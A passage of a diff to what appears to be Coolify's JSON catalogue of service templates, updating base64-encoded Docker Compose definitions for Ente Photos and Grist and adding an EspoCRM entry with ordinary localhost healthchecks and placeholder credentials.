"c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1173,7 +1156,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0FSRV9MT0NBTF9CVUNLRVRTPSR7UFJJTUFSWV9TVE9SQUdFX0FSRV9MT0NBTF9CVUNLRVRTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1VTRV9QQVRIX1NUWUxFX1VSTFM9JHtQUklNQVJZX1NUT1JBR0VfVVNFX1BBVEhfU1RZTEVfVVJMUzotdHJ1ZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1MzX1NUT1JBR0VfS0VZOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTM19TVE9SQUdFX1NFQ1JFVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTM19TVE9SQUdFX0VORFBPSU5UOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049JHtTM19TVE9SQUdFX1JFR0lPTjotdXMtZWFzdC0xfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPSR7UzNfU1RPUkFHRV9CVUNLRVQ6P30nCiAgICAgIC0gJ0VOVEVfU01UUF9IT1NUPSR7RU5URV9TTVRQX0hPU1R9JwogICAgICAtICdFTlRFX1NNVFBfUE9SVD0ke0VOVEVfU01UUF9QT1JUfScKICAgICAgLSAnRU5URV9TTVRQX1VTRVJOQU1FPSR7RU5URV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnRU5URV9TTVRQX1BBU1NXT1JEPSR7RU5URV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnRU5URV9TTVRQX0VNQUlMPSR7RU5URV9TTVRQX0VNQUlMfScKICAgICAgLSAnRU5URV9TTVRQX1NFTkRFUl9OQU1FPSR7RU5URV9TTVRQX1NFTkRFUl9OQU1FfScKICAgICAgLSAnRU5URV9TTVRQX0VOQ1JZUFRJT049JHtFTlRFX1NNVFBfRU5DUllQVElPTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdoY3IuaW8vZW50ZS1pby93ZWIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX0ZRRE5fTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLS1mYWlsJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7U0VSVklDRV9EQl9OQU1FOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX1BIT1RPU19PUklHSU49JHtTRVJWSUNFX0ZRRE5fV0VCfScKICAgICAgLSAnRU5URV9EQl9IT1NUPSR7RU5URV9EQl9IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0VOVEVfREJfUE9SVD0ke0VOVEVfREJfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke0VOVEVfREJfTkFNRTotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9BUkVfTE9DQUxfQlVDS0VUUz0ke1BSSU1BUllfU1RPUkFHRV9BUkVfTE9DQUxfQlVDS0VUUzotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9VU0VfUEFUSF9TVFlMRV9VUkxTPSR7UFJJTUFSWV9TVE9SQUdFX1VTRV9QQVRIX1NUWUxFX1VSTFM6LXRydWV9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTM19TVE9SQUdFX0tFWTo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fU0VDUkVUPSR7UzNfU1RPUkFHRV9TRUNSRVQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0VORFBPSU5UPSR7UzNfU1RPUkFHRV9FTkRQT0lOVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPSR7UzNfU1RPUkFHRV9SRUdJT046LXVzLWVhc3QtMX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD0ke1MzX1NUT1JBR0VfQlVDS0VUOj99JwogICAgICAtICdFTlRFX1NNVFBfSE9TVD0ke0VOVEVfU01UUF9IT1NUfScKICAgICAgLSAnRU5URV9TTVRQX1BPUlQ9JHtFTlRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9VU0VSTkFNRT0ke0VOVEVfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9QQVNTV09SRD0ke0VOVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTUFJTD0ke0VOVEVfU01UUF9FTUFJTH0nCiAgICAgIC0gJ0VOVEVfU01UUF9TRU5ERVJfTkFNRT0ke0VOVEVfU01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTkNSWVBUSU9OPSR7RU5URV9TTVRQX0VOQ1JZUFRJT059JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1NFUlZJQ0VfREJfTkFNRTotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1BPU1RHUkVTX1VTRVJ9IC1kICR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "photos", "gallery", @@ -1204,6 +1187,23 @@ "minversion": "0.0.0", "port": "6052" }, + "espocrm": { + "documentation": "https://docs.espocrm.com?utm_source=coolify.io", + "slogan": "EspoCRM is a free and open-source CRM platform.", + "compose": "c2VydmljZXM6CiAgZXNwb2NybToKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fRVNQT0NSTQogICAgICAtICdFU1BPQ1JNX0FETUlOX1VTRVJOQU1FPSR7RVNQT0NSTV9BRE1JTl9VU0VSTkFNRTotYWRtaW59JwogICAgICAtICdFU1BPQ1JNX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gRVNQT0NSTV9EQVRBQkFTRV9QTEFURk9STT1NeXNxbAogICAgICAtIEVTUE9DUk1fREFUQUJBU0VfSE9TVD1lc3BvY3JtLWRiCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfTkFNRT0ke01BUklBREJfREFUQUJBU0U6LWVzcG9jcm19JwogICAgICAtICdFU1BPQ1JNX0RBVEFCQVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtICdFU1BPQ1JNX1NJVEVfVVJMPSR7U0VSVklDRV9GUUROX0VTUE9DUk19JwogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgc3RhcnRfcGVyaW9kOiA2MHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS1kYWVtb246CiAgICBpbWFnZTogJ2VzcG9jcm0vZXNwb2NybTo5JwogICAgY29udGFpbmVyX25hbWU6IGVzcG9jcm0tZGFlbW9uCiAgICB2b2x1bWVzOgogICAgICAtICdlc3BvY3JtOi92YXIvd3d3L2h0bWwnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudHJ5cG9pbnQ6IGRvY2tlci1kYWVtb24uc2gKICAgIGRlcGVuZHNfb246CiAgICAgIGVzcG9jcm06CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBlc3BvY3JtLXdlYnNvY2tldDoKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBjb250YWluZXJfbmFtZTogZXNwb2NybS13ZWJzb2NrZXQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9FU1BPQ1JNX1dFQlNPQ0tFVF84MDgwCiAgICAgIC0gRVNQT0NSTV9DT05GSUdfVVNFX1dFQl9TT0NLRVQ9dHJ1ZQogICAgICAtIEVTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfVVJMPSRTRVJWSUNFX0ZRRE5fRVNQT0NSTV9XRUJTT0NLRVQKICAgICAgLSAnRVNQT0NSTV9DT05GSUdfV0VCX1NPQ0tFVF9aRVJPX01fUV9TVUJTQ1JJQkVSX0RTTj10Y3A6Ly8qOjc3NzcnCiAgICAgIC0gJ0VTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfWkVST19NX1FfU1VCTUlTU0lPTl9EU049dGNwOi8vZXNwb2NybS13ZWJzb2NrZXQ6Nzc3NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm06L3Zhci93d3cvaHRtbCcKICAgIHJlc3RhcnQ6IGFsd2F5cwogICAgZW50cnlwb2ludDogZG9ja2VyLXdlYnNvY2tldC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgZXNwb2NybToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGVzcG9jcm0tZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuOCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNQVJJQURCX0RBVEFCQVNFPSR7TUFSSUFEQl9EQVRBQkFTRTotZXNwb2NybX0nCiAgICAgIC0gJ01BUklBREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gJ01BUklBREJfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICB2b2x1bWVzOgogICAgICAtICdlc3BvY3JtLWRiOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCg==", + "tags": [ + "crm", + "self-hosted", + "open-source", + "workflow", + "automation", + "project management" + ], + "category": "cms", + "logo": "svgs/espocrm.svg", + "minversion": "0.0.0", + "port": "80" + }, "evolution-api": { "documentation": "https://doc.evolution-api.com/v2/en/get-started/introduction?utm_source=coolify.io", "slogan": "Multi-platform messaging (whatsapp and more) integration API", @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9SVD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", + "compose": 